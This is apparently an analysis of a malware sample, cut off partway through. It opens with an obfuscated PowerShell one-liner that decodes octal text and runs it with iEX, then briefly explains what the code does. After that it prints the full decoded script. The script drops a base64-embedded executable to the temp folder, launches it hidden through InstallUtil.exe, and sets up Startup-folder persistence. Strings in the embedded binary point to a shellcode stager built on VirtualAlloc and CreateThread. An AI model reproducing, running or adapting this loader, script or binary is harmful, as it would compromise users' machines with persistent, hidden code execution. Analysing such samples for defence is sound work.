01h101f101f101i101\}101Y101Y101-101i101\}101Y101@101Y101e101\}101Y101\}101e101Y101-101i101~101-101<101@101f101~101i101~101\}101e101\}101h101@101-101Y101f101\}101f101h101@101i101@101<101e101e101e101i101@101e101e101<101<101-101-101-101<101h101h101@101h101h101-101i101@101i101\}101i101h101i101~101h101~101i101@101Y101\}101\}101\}101f101@101Y101i101h101e101h101~101i101-101e101\}101f101-101f101\}101~101f101@101<101Y101~101h101h101f101<101<101i101<101e101<101Y101<101-101h101\}101@101h101i101-101i101e101\}101~101e101e101\}101i101i101@101Y101<101-101e101Y101~101f167i101<101e101f115@101e101Y101f101~70f104Y157f101i101e101\}101Y101f101e101Y101@101Y101-101<101f101i101i101h101i101h101@101e101e101@101i101e101e101~101f101i101-101<101f101i101<101@101\}101\}101\}101i101e101e101-101-101h101e101@101\}101@101Y101e101-101Y101Y101~101Y101\}101@101\}101e101i101e101\}101\}101~101-101Y101<101@101f101<101<101<101-101h101~101@101-101~101@101f101\}101-101<101i101@101Y101e101~101\}101h101@101i101e101\}101<101@101Y101Y101Y101f101~101Y101-101h101Y101h101Y101h101<101i101-101-101-101<101e101@101-101@101@101i101Y101@101h101e101-101-101~101<101~101i101~101@101Y101\}101i101~101e101Y101Y101i101i101f101Y101~101<101i101f101\}101\}101\}101h101\}101~101h101e101h101-101~101i101~101Y101-101@101h101<101~101@101Y101i101\}101~101h101i101@101\}101i101\}101Y101@101\}101~101f101e101\}101e101f101<101-101-101\}101<101e101f101i101-101i101h101<101-101i101h101h101Y101Y101<101~101i101\}101Y101@101<101\}101\}101~101Y101h101~101e101f101-101h101e101\}101h101e101<101\}101-101e101e101h101Y101h101-101<101Y101e101-101~101e101\}101@101i101\}101Y101i101e101e101e101<101@101f101-101f101f101h101Y101~101<101~101h101f101@101~101i101f101@101i101f101@101e101-101f101i101@101i101h101@101\}101~101e101<101~101<101Y101i101\}101<101Y101-101-101f101Y101h101h101f101@101~101<101i101\}101\}101h101@101h101h101Y101<101-101i101~101~101-101Y101\}101<101<101Y101h101~101-101e101e101Y101\}101f101Y101i101-101<101e101@101i101~101~101@101Y101i101Y101h101Y101\}101~101Y101<101@101-101Y101~101\}101i101i101f101-101Y101h101f101e101e101e101f101-101Y101@101\}101i101h101-101i101h101e101i101f101Y101e101\}101f101<101h101Y101f101e101e101@101f101@101f101f101f101-101e101i101-101Y101h101e101~101f101Y101\}101e101\}101Y101@101\}101Y101\}101h101e101@101h101<101e101f101<101\}101\}101i101@101i101f101~101Y101h101@101~101e101e101Y101\}101<101i101f101@101<101\}101Y101Y101h101-101h101i101f101\}101Y101Y101h101~101@101<101<101@101~101@101\}101e101\}101e101f101e101~101h101<101i101@101Y101e101Y101~101Y101-101@101h101<101-101-101~101h101@101@101-101h101<101<101f101-101i101e101f101@101Y101h101@101@101~101i101e101Y101e101Y101<101\}101-101i101\}101e101-101<101h101h101h101h101@101h101\}101@101<101<101Y101e101Y101h101@101<101i101h101i101<101~101f101e101h101e101h101e101f101Y101@101-101@101\}101-101@101-101-101@101i101<101@101h101Y101i101-101\}101Y101f101~101@101@101~101~101@101e101\}101-101h101f101<101Y101e101e101-101~101\}101\}101<101i101f101i101i101\}101~101i101Y101-101-101e101~101e101i101e101-101\}101<101i101<101h101-101f101i101-101~101i101Y101h101f101\}101@101Y101~101-101f101~101f101@101<101e101\}101Y101e101i101Y101-101h101-101@101@101<101f101~101i101<101f101e101<101\}101-101-101\}101Y101-101e101Y101~101h101@101\}101<101@101@101<101-101<101h101Y101i101<101~101e101i101Y101\}101f101\}101-101<101i101Y101f101~101@42\}73f15@12i133e102f171i164@145h133e135\}135e44-104@154f154<102\}171f164<145<163<40e75@40~133<123-171@163\}164~145h155h56~103h157@156~166Y145-162-164<135f72i72@106f162~157h155h102\}141-163@145i66h64e123f164\}162Y151Y156e147@50Y44h112f112f113h153@116h162@51-73f15~12e133<123Y171i163i164<145-155Y56e111i117\}56Y106-151e154<145f135e72<72i127<162h151\}164@145@101@154~154-102\}171i164i145f163f50~44f122-122\}104\}155@111~124e142~163i54Y44e104\}154\}154-102Y171@164~145f163-51e73-15~12-11<15e12~15<12e44e171i146~163-145-122Y154f40~75h40\}60@15h12<44\}153i122i132e170i160i153@151Y40<75e40<116~145@167@55f117-142\}152e145h143Y164h40-123<145h143f165-162e151f164f171@56h120~162\}151e156\}143e151f160f141i154Y56~127Y151e156Y144~157~167~163h120-162Y151f156Y143<151f160~141-154\}50~40e133@123Y145-143Y165h162f151i164Y171f56i120<162\}151-156~143i151h160e141-154\}56e127f151<156-144@157-167h163~111Y144h145Y156e164i151Y164<171e135<72e72-107~145<164h103\}165\}162i162\}145<156h164-50\}51@51Y40e15f12-151-146-50h44<153h122-132f170@160f153\}151\}56-111@163\}111~156h122h157e154f145\}50h133Y123i145f143<165<162Y151@164f171\}56<120h162f151-156<143f151<160<141h154\}56h127e151~156~144@157~167-163<102\}165i151<154<164@111<156f122-157i154~145@135~72\}72e101Y144@155f151e156<151-163@164h162@141Y164e157h162Y51~40e55\}145~161\}40e44e164\}162@165~145e51Y15\}12f173e15h12e11e44e171i146i163Y145@122-154f40f75i40<61~15@12e175Y11f15-12-11-15h12i151<146\}40~50\}44f171Y146-163f145-122~154Y40Y55~145f161f40h61~51@15\}12-173-15f12<11h44-156Y147-170Y162@123e147-40-75<40\}42-44<105f156i166\}72f123Y171e163<164i145@155h104<162<151-166e145i134\}120<162\}157-147@162i141e155h104-141e164<141e134h115<151-143<162<157Y163\}157h146\}164h134e127i151@156Y144-157i167i163-134Y123i164f141@162<164f40\}115Y145~156f165h134<120Y162i157~147~162e141f155Y163f134~123~164i141Y162\}164f165-160~42<15i12Y175e145@154-163-145@15\}12h173@15i12@11\}44-156i147@170Y162<123-147f40f75-40<42\}44-105h156e166e72Y101<120i120<104\}101~124h101~134~115f151-143Y162e157\}163f157~146h164f134i127i151@156f144@157e167Y163f134i123h164<141~162f164\}40~115h145f156-165Y134~120i162-157h147-162<141Y155-163e134i123@164i141Y162i164@165f160h42e15h12\}175~11~15\}12i15-12f15f12Y44Y160~151<101\}166\}160i105-112-40h75-40~116i145~167h55<117-142e152-145h143\}164\}40h55<143h157<155i117h142Y152e145Y143f164-40i127~123\}143Y162~151<160-164Y56i123i150e145e154-154h15-12-44@106i121f160~143f127~154\}152-141@40e75~40i44e160e151f101h166h160-105Y112e56i103e162-145e141-164h145<123Y150~157\}162<164\}143<165<164@50i44~156<147f170Y162-123-147e40i53-40<42e134\}150i151@150~107-104h107e56~154@156<153<42@51i73\}15Y12h44@106<121i160\}143~127@154<152\}141<56i124~141f162i147e145i164h120@141\}164Y150e40Y75f40h42<45f123Y171Y163<164~145f155-122@157Y157Y164f45<134<163e171f163h164Y145-155\}63-62\}134h155-163~150Y164-141e56Y145Y170e145h42@15@12<44\}106f121e160h143-127f154f152\}141h56<111i143h157e156h114h157-143e141@164~151h157f156~40f75@40f42<45Y123-171e163i164~145~155<122h157Y157\}164f45@134~123<171@163@164i145h155-63@62-134i123e150f145i154h154e63\}62i56-144@154f154h54<62h61~42e15-12~44Y106@121<160h143~127\}154f152~141\}56~101i162~147f165\}155~145~156Y164e163e40e75f40<47<40~40~40\}40\}40f40e40<40h40\}40-40i40i40\}40@40<40Y40-40@40f40~40\}40Y40<40-40i40\}40Y40e40e40f40<40~40e40~40<40f40@40h40<47Y53<40<44h141h107<125e111\}142<15i12~44@106<121~160i143\}127<154e152@141h56\}123h141h166e145f50<51-15e12\}15Y12@123@164e141<162\}164e55<120-162~157~143h145~163h163~40h55i167f151i156h144~157-167@163Y164-171~154\}145~40Y110i151<144\}144<145@156-40h55-106f151Y154<145\}120~141i164~150i40-42h44f156@147@170i162~123f147f134\}150<151e150~107-104e107-56e154-156<153i42f15f12e15e12~11f15@12'.SpLiT('~i@f<e-\}hY')| ForeAch \{( [cONVERT]::toInT16( ( $_.tostriNg() ),8) -AS [cHaR]) \} ) -jOin ''|iEX

Deobfuscating the script will reveal a powershell script which

Writes an exe to $env:TEMP+"\HmUMV.dat"
Sets up and write hihGDG.lnk in the Startup folder with instructions on how to launch the exe

The full contents of the script are

$InstallUtilv2 = $env:WINDIR+"\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe";
$InstallUtilv4 = $env:WINDIR+"\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe";

if (Test-Path $InstallUtilv2)
\{
	$Loader = $InstallUtilv2;
\}else
\{
	$Loader = $InstallUtilv4;
\}


$RRDmITbs = $env:TEMP+"\HmUMV.dat";
$aGUIb=
@"
vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""$Loader /logfile= /LogToConsole=false /U $RRDmITbs""),0"))
"@
	
$JJKkNr = "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
srKNTVivnEROWXKYREpvDPeKb4xETbyvHEROb5xETm29TdlvnEROWXKYREpvDO2CzVBHbb2MbbzMb4OsMpAgrbwIbZINTU6sE3Kysq2SCU1OrBbysrK83ERMTQ6g3ERMbbxLWhqa272NTVeUEdbUFkGBxtRWVk1NTU1YL7ZtvH
NZmNiBvW8cMldfzj7PN0dMTU1Zd0/MDU1vs2wyjqx9zU1Nb5wPb51CTZwPbxwzbZIzTU6sZk1NTW+QM1fdV01BTU1vnNlZb5zAWXK4r7tsO5AJF91XTUVNTW+c2VlXzXK4r7tsO5BSF91XTUlNTW+c2VlZsriX3VdNSU1Nb5zY
WVmyuK+e2G+YD2+9t3bNjU1vkYJvs42wrxLAb77vmDNvnA93arJysq+cwG+YM0edwGw9UE8vuW+9t14yMrKvvbd38jKyrH1QSm+cx028r7FXzVfNGLK47H1QTC8aMneMAb1vHDJvnDJamtubGxo9zE1vvVjZL05EbDnQy2+xTq
DO7H8QT4PORFBMzqDOREFO3V/QN1va/Zgvtm28dFmY2LzcMo1XU1pDmDdODY1NWXd2jY1Nb7tXeU2aTzdzjc1NWXd6DY1NbxwzV3BIKaF3d03NTVl3f82NTW+xV1QdM6S3eM3NTVl3Y02NTW+zV0EQYlK3fE3NTVl3ZM2NTW8c
MFdqCteVt2ENzU1Zd2mNjU1vHDFsO5AJ7ZIzTVAObDDQD2wyjqxuDU1NV81XzVfNl81XzRdNTU1tb5wPWXK5r7tts7KQURfNWbK4r7NsMpDVmJfdcpgwbxw3bZI3TVBYV81uHDZZWK+cN1lZspgzb5w3bQNU1NTU0E7vnDdtvU
xtA1TU1NTQBq+cN229T28cNG+4rbfPYRTvnDR3eHLysq+cNFl3ebIysq+cN1lymDF83DKNGbK4zqDcMpqa26+0Gj3MTVmY2JgtPHRy8rK3dw0NTW+zV2pjY+TYt3xNzU1vsVdndjH+2Ldgjc1Nb7dXZiDeLRi3Z83NTW+7V03o
l4gYt2oNzU1vDERXWhdfDNi3bo3NTW8cRExXTkfO9xi3bU3NTW8cRE9XTE0NTW4cREsZV3donQ13d00NTVlyuNfNbhxESxlyuZfMbhxESxlymERPV01rXQ13fI0NTVluHERLGXKYRE5uHERIGXKYRE5vs24cRE5jzw1NTXdoTQ
1NbbaMAbDhgS9aQkgtUkBOTVAJrhxESBl3cnIysqx9UEw83EBOTRdJRI1Ncrgc3a1zg9A4d77tPEpNDU1aGprbvYQVEVFUVRBVBBpc1lURl1lWVRMUEc1NTVpRVlAUgQbUVRBNTVmY2JgtvHd3cE1NTW+zbTyna90NV2d2Mf73
Y81NTVl3ak0NTW8cRE5XfmiJRDdkzU1NWXdvTQ1NbxxESVdhTNfpd2nNTU1Zd1BNDU1vu1dwSCmhd21NTU1Zd1XNDU1vsW4cREhZV81XzXdpzU1NbT13aR0NWVfNV81yuZlyuO2CjVBMLhaMd43Bti4ak++Ql97sMNJwHNguHE
RMWW4cRE5Zbh6W7h2NzqCJt0gw8rKsfVBPMohEV81ymERIbb2C10FQDU1ymERJXtA/t6ItvEtaGprbva4dTVgvtlkHPVRvnUFvnU5vmUpvnc9vn8VvidTtkw5BkDEvHDJvnDJbGj2YL7ZZN01NTU1b7TfIKx0Nbxgyb5wyWxo9
rh1NWaw/EM5OoMvvS11d3yw/ELBbvalsOdDPPM1NXV/sOdCwva+9WC+2d2NysrKNnA9aPcxNaVgvtm08TXJyspmBu64uDXJysq+9o89NTU1wvU0NTU1Qzzk3QAVto3Y3jfk3X9A37w0drb0MbTONTQ1NUDgtv3KvmA93i46g/y
OyjU1NRbtBv6+ubg1ycrK9N09Bv2+9Hc6gz+x/EDrwuVuvtBo9zE1YL7ZtvHdZmNivmg9BvW8cMm+9lO0DXhvOrCeNTU1vnUJvuY297QNZXA1NTqwrTU1Nb59TTb/vHjNvnVJvHDBvnDNvHDdvnDdvnUhsPVBT7543b58FTb/v
HjFvs16sMpHXXIGw77zNvU29TZwxb41Nva8cNm+cNll3SbKysoOcDlAdr5w3b51ETb2vuM25zb3OoI1vmDdvmcpNuY6gvU29Tb1NuW+Nzb2vHDJvmDNvv82eMG+cMkO/Uc6DuVCPgb1vHDJ3jFzekCuvnDJamtuvtBo9z01uHU
19rh1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU3NTU1GmFkcQI1NTU1NTU1Z
TVCQkIbTFRdWlpHUFRZQVpHRhtWWlg1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTVlNQEAGwICGwcFDBsABzVBWkdGG1ZaWDU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NYfS9XE
FBQAAAABmg+T/eAUNAAAAAKnzBnfqeAd0BSX/////+FdQVWa9eo1dWF/8ZsHAoPlaUmaD4f+QWFBaudYMAACAMjWDwgGD6QGD+QB18lBQdgV5A4PrAFj1+Fj/0JB2AgrAdQH1+cIAABMwBwC/AAAAAgAAEQAgSA0AAI0NAAABJ
dADAAAEKAgAAAoKciMAAHAoBQAABgsHcj0AAHAoBgAABgwI0AQAAAIoCQAACigKAAAKdAQAAAINB3JXAABwKAYAAAYMCNAFAAACKAkAAAooCgAACnQFAAACEwQJFgaOaX4BAAAEfgIAAARvDAAABhMFBhYRBW4oCwAACgaOaSg
MAAAKAH4NAAAKEwYWEwd+DQAAChMIEQQWFhEFEQgWEgdvEAAABhMGEQYVKAgAAAYmKwAqSiAAEAAAgAEAAAQfQIACAAAEKh4CKA8AAAoqAABCU0pCAQABAAAAAAAMAAAAdjIuMC41MDcyNwAAAAAFAGwAAABoBAAAI34AANQEA
ADgBAAAI1N0cmluZ3MAAAAAtAkAAHQAAAAjVVMAKAoAABAAAAAjR1VJRAAAADgKAACoAQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPoBMwAWAAABAAAAGQAAAAcAAAADAAAAEgAAACYAAAAQAAAABQAAAAEAAAABAAAAAgA
AAAEAAAAEAAAAAQAAAAEAAAADAAAAAwAAAAAACgABAAAAAAAGAEoAQwAKAG4AUQAGAHgAQwAGAKgAlQAGACcBQwAGADQBQwAGAHQBWAEGAJABWAEGAL8BnwEGAN8BnwEGAAQCQwAOACwCFgIGAE0CQwAGAJcCnwEGALICQwAGA
O8CnwEGAP4CQwAGAAQDQwAGACcDQwAGACwDQwAGAG8DUAMGAHcDQwAGAJ4DQwAGALsDUAMGAMUEtQQAAAAAAQAAAAAAAQABAAEAEAAVAAAABQABAAEAAQAQAB0AAAAJAAEAAwADAQAAJAAAAA0AAwALAAMBAAAsAAAADQADAA8
AAAAAAFICAAAFAAMAEwATAQAAvAIAAD0ABAATABEAwwAhABEAzgAhABMB2wKgAFAgAAAAAJYAigATAAEAXiAAAAAAhhiPABcAAQBoIAAAAADGALQAGwABANAtAAAAAJYAvgATAAIAAAAAAIAAkSDlACQAAgAAAAAAgACRIPEAK
QADAAAAAACAAJEgAAEvAAUAAAAAAIAAkSAMATQABgCuLgAAAACGGI8AFwAIAJsuAAAAAJEYFQQTAAgAAAAAAAMAhhiPADoACAAAAAAAAwDGASABQAAKAAAAAAADAMYBQgFIAA4AAAAAAAMAxgFOAVQAFAAAAAAAAwCGGI8AOgA
VAAAAAAADAMYBIAFaABcAAAAAAAMAxgFCAWUAHQAAAAAAAwDGAU4BdAAlAAAAAQBCAgAAAQDXAwAAAQDhAwAAAgDpAwAAAQD3AwAAAQD+AwAAAgAGBAAAAQAcBAAAAgAjBAAAAQAqBAAAAgA2BAAAAwA7BAAABABMBAAAAQAqB
AAAAgA2BAAAAwA7BAAABABMBAAABQBWBAAABgAcBAAAAQBfBAAAAQAcBAAAAgAjBAAAAQBmBAAAAgB5BAAAAwCFBAAABACUBAAABQCaBAAABgCqBAAAAQBmBAAAAgB5BAAAAwCFBAAABACUBAAABQCaBAAABgCqBAAABwBWBAA
ACAAcBAAAAQCqBAAAAgBfBDkAjwB8AEkAjwCCAFEAjwAXAFkADAKHAAkAjwAXAGEAjwCMAHEAjwAXAIEAFwOkAJkAPgOsAKkAgAOzALkApQO7AKkAsQPAALkAtgPJAMEAjwDbABEAjwAXAMkAjwAXACcAgwCbAC4AGwDpAC4AE
wDgAGMAMwCRAMMAOwCbAAgABgAIAQEASA0AAAcAlwDMAM4DAAELAOUAAQAAAQ0A8QABAAABDwAAAQEAAAERAAwBAQCIIAAAAwAEgAAAAAAAAAAAAAAAAAAAAAD9AQAAAgAAAAAAAAAAAAAAAQA6AAAAAAACAAAAAAAAAAAAAAA
KAFEAAAAAAAIAAAAAAAAAAAAAAAEAQwAAAAAABAADAAUAAwAHAAYAAAAAPE1vZHVsZT4Ac3RhZ2VyLmV4ZQBQcm9ncmFtAFNhbXBsZQBUV1plZ2prAFRDcmVhdGVUaHJlYWQAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTeXN0Z
W0uQ29uZmlndXJhdGlvbi5JbnN0YWxsAEluc3RhbGxlcgBNdWx0aWNhc3REZWxlZ2F0ZQBNYWluAC5jdG9yAFN5c3RlbS5Db2xsZWN0aW9ucwBJRGljdGlvbmFyeQBVbmluc3RhbGwARXhlYwBNRU1fQ09NTUlUAFBBR0VfRVh
FQ1VURV9SRUFEV1JJVEUATG9hZExpYnJhcnkAR2V0UHJvY0FkZHJlc3MAQ2xvc2VIYW5kbGUAV2FpdEZvclNpbmdsZU9iamVjdABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b
2tlAFN5c3RlbS5TZWN1cml0eS5QZXJtaXNzaW9ucwBTZWN1cml0eVBlcm1pc3Npb25BdHRyaWJ1dGUAU2VjdXJpdHlBY3Rpb24AU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25
zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHN0YWdlcgBDb25zb2xlAFdyaXRlTGluZQBTeXN0ZW0uQ29tcG9uZW50TW9kZWwAUnVuSW5zdGFsbGVyQXR0cmlidXRlAHNhdmVkU3RhdGUAQnl0ZQA8U
HJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57NTRBRkYyNDUtNUFFQi00NUYzLTgwRjEtQUQ4Mjk5Njg4NTM0fQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19TdGF0aWNBcnJheUluaXRUeXBlU2l
6ZT0zNDAwACQkbWV0aG9kMHg2MDAwMDA0LTEAUnVudGltZUhlbHBlcnMAQXJyYXkAUnVudGltZUZpZWxkSGFuZGxlAEluaXRpYWxpemVBcnJheQBUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFN5c
3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNYXJzaGFsAERlbGVnYXRlAEdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyAEludFB0cgBvcF9FeHBsaWNpdABDb3B5AFplcm8ARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5
lbDMyAGRsbFRvTG9hZABoTW9kdWxlAHByb2NlZHVyZU5hbWUAaGFuZGxlAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMALmNjdG9yAG9iamVjdABtZXRob2QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvd
GVjdABjYWxsYmFjawByZXN1bHQAbHBUaHJlYWRBdHRyaWJ1dGVzAGR3U3RhY2tTaXplAGxwU3RhcnRBZGRyZXNzAHBhcmFtAGR3Q3JlYXRpb25GbGFncwBscFRocmVhZElkAFN5c3RlbS5TZWN1cml0eQBVbnZlcmlmaWFibGV
Db2RlQXR0cmlidXRlAAAAIXMAVABsAFMAWQBNAFUAegBQAEYAcQBPAHgAaABLAHgAABlrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAGVYAaQByAHQAdQBhAGwAQQBsAGwAbwBjAAAZQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAA
AAAAEXyr1TrWvNFgPGtgplohTQACLd6XFYZNOCJCLA/X38R1Qo6AwAAAQMgAAEFIAEBEhECBgkEAAEYDgUAAhgYDgQAAQIYBQACCRgJBSACARwYByAECQkJCQkLIAYSFQkJCQkSGRwFIAEJEhUKIAYYCQkJGAkQCQ4gCBIVCQk
JGAkQCRIZHAcgAhgQCRIVBSABAREhBCABAQgEAAEBDgQgAQECBQEAAQAAAwcBAgQBAAAAAwYRHAcAAgESRRFJBgABEk0RUQcAAhJZGBJNBAABGAoIAAQBHQUIGAgCBhgOBwkdBRgYEhASFAkYCRgEIAEBDggBAAgAAAAAAB4BA
AEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwGAni4BgIRTeXN0ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMuU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlLCBtc2NvcmxpYiwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5
ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkVAVQCEFNraXBWZXJpZmljYXRpb24BwDoAAAAAAAAAAAAA3joAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAANA6AAAAAAAAAAAAAAAAAAAAAF9Db3JFeGVNY
WluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAAEQCAAAAAAAAAAAAAEQ
CNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAA
ABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsASkAQAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAACAAQAAAQAwADAAMAAwADAANABiADAAAAAsAAIAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgA
AAAAAIAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMAAuADAALgAwAC4AMAAAADgACwABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAcwB0AGEAZwBlAHIALgBlAHgAZQAAAAAAKAACAAEATABlAGcAYQBsA
